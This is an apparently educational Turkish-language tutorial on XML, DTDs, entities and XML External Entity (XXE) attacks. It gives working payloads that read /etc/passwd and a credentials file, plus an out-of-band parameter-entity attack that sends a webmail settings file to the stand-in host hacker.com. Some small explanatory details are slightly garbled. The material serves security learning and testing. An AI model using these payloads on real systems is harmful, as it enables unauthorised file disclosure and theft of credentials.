XML External Entity Attack (XEE)

XXE (XML External Entity Attack)

XML (Extensible Markup Language)

Üzerinde farklı teknolojilerin koştuğu servisler veya sistemlerin haberleşmesi için datayı ortak formatta taşımaya sağlayan bir formattır.


[!NOTE] Sample Case Örneğin bir servisten bir data çekilmek isteniyor. Ama bu dataya erişebilen sınıf Python ile yazılmış olsun. Datayı kendi servisine çekip kullanmak isteyen servis ise Java ile yazılmış olsun. İkisinin de datayı alıp göndermek üzere ortak bir dil kullanması gerekir. Bunu XML, JSON gibi data types ile yapabilir.

Örnek bir XML data;

<?xml version="1.0" encoding="UTF-8"?>  
<breakfast_menu>  
<food>  
    <name>Belgian Waffles</name>  
    <price>$5.95</price>  
    <description>  
   Two of our famous Belgian Waffles with plenty of real maple syrup  
   </description>  
    <calories>650</calories>  
</food>  
<food>  
    <name>Strawberry Belgian Waffles</name>  
    <price>$7.95</price>  
    <description>  
    Light Belgian waffles covered with strawberries and whipped cream  
    </description>  
    <calories>900</calories>  
</food>   
</breakfast_menu>

  • Bir sistem bizden XML veri alıyorsa öncelikli aranması gereken konu XXE'dir. Aslında olaya sadece XXE zafiyeti arayarak ilerlememek gerekir. Çünkü sistem bizden aldığı değeri XML formattan parse edip arkada bir SQL sorgusunda geçiriyor ise bu sefer SQLi aranabilir. Bu şekilde örnekler çoğaltılabilir.


XML DTD

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>  
	<to>Tove</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

Note.dtd;

<!DOCTYPE note  
[  
<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to (#PCDATA)>  
<!ELEMENT from (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body (#PCDATA)>  
]>

Bunu farklı bir şekilde kullanmanın yolu ise

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note  
	[  
	<!ELEMENT note (to,from,heading,body)>  
	<!ELEMENT to (#PCDATA)>  
	<!ELEMENT from (#PCDATA)>  
	<!ELEMENT heading (#PCDATA)>  
	<!ELEMENT body (#PCDATA)>  
	]>  
<note>  
	<to>Tove</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

şeklindedir. Ama bu kullanım dinamik kullanıma aykırı olduğu için farklı bir dökümanda bu DTD'yi kullanmak istediğimiz zaman kod tekrarına düşmüş oluruz. O yüzden bu kullanım pek uygun değildir.

<!DOCTYPE note SYSTEM "Note.dtd">

XML Parser bu satırı gördüğü zaman benim bir Document Type Definition değerim var ve bunun adı da note olarak yorumluyor. Ama burada SYSTEM operandını söylüyor ve SYSTEM operandın karşılığı da ==External Document Type Definition== olarak geçer. Yani burada diyor ki gelen XML değerleri Note.dtd değerlerinde olacak demiş oluyoruz. Burada sisteme şu dosyayı oku demiş oluyoruz.


Entity

Entity aslında XML'de değişken oluşturmaya yarayan değerler olarak düşünebiliriz. Entity ile string değerler tanımlayabiliyoruz.

<!ENTITY tayfun "Tayfun Ürkut">
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note  
	[<!ENTITY tayfun "Tayfun Ürkut">]>  
<note>  
	<to>&tayfun;</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

Burada ELEMENT yerine ENTITY tanımlayarak oluşturmuş olduğumuz tayfun ENTITY değerine "Tayfun Ürkut" değerini atamış olduk. XML taglarinin içerisinde pointer olarak çağırdığımız tayfun değeri sayesinde artık to taglari arasında "Tayfun Ürkut" değerini göreceğiz:

<to>Tayfun Ürkut</to>

[!warning] Uyarı ENTITY operandının SYSTEM operandına erişimi vardır.

<!DOCTYPE note  [<!ENTITY tayfun SYSTEM "http://x.com/">]>  
  • Bu durumda XML kaynağının bulunduğu sistem x.com adresine HTTP requesti gönderir. Burada SYSTEM operandından sonra URI SCHEMA (Protokol Handler) değerleri kullanılıp çeşitli isteklerde bulunabilir.

Örneğin: file:///folder/file, http://x.com


Burada zafiyetin tespiti için genellikle kullanılan payloada değinecek olursak;

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [<!ENTITY tayfun SYSTEM "file:///etc/passwd">]>  
<note>  
	<to>&tayfun;</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

şeklindedir.

Peki dönen cevap içerisinde bir XML format varsa;

Yani kısacası;

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [<!ENTITY tayfun SYSTEM "file:///home/user/creds/creds.xml">]>  
<note>  
	<to>&tayfun;</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

==&tayfun;== yerine XML veri formatı dönüyorsa. Yani

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [<!ENTITY tayfun SYSTEM "file:///home/user/creds/creds.xml">]>  
<note>  
	<to><creds>hashdklafsldf</creds></</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

gibi bir durumda XML bunu parse edemez. Kendi içerisinde XML'i parse et gibi bir değer de yoktur.

Burada devreye Parameter Entity kavramı girer. Bir örnek saldırı simüle edecek olursak XML responsunda yine bir XML değer olduğunu varsayarsak;

<?xml version="1.0"
encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/test.dtd">
%remote;
%int;
%trick;]>

İlk payloadımızın bu olur. Bu payload Parameter Entity değeri olan remote değerine bir HTTP isteği atar. Belirtilen URL bir .dtd dosyasını işaret eder. Dosyanın içeriği ise

<!ENTITY % payl SYSTEM "file://c:/inetpub/wwwroot/apps/webmail/app_data/settings/settings.xml">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://hacker.com/?p=payl;'>">

şeklindedir.

  • Burada ==payl== parameter entity değeri ile bir dosyaya erişim işlemi yapılır. Daha sonrasında yine tanımlanmış olan ==int== parameter entity içerisine bir entity tanımı daha yapılır; içerideki ==&=37;== değeri ==int== değerinin encoded halidir. =="trick"== değeri ile bir HTTP request daha oluşturulur ve saldırgan kendi sunucusuna ==payl== değerini parametre olarak geçer ve dosyayı okuma işlemini başarı ile sonuçlandırır.


Last updated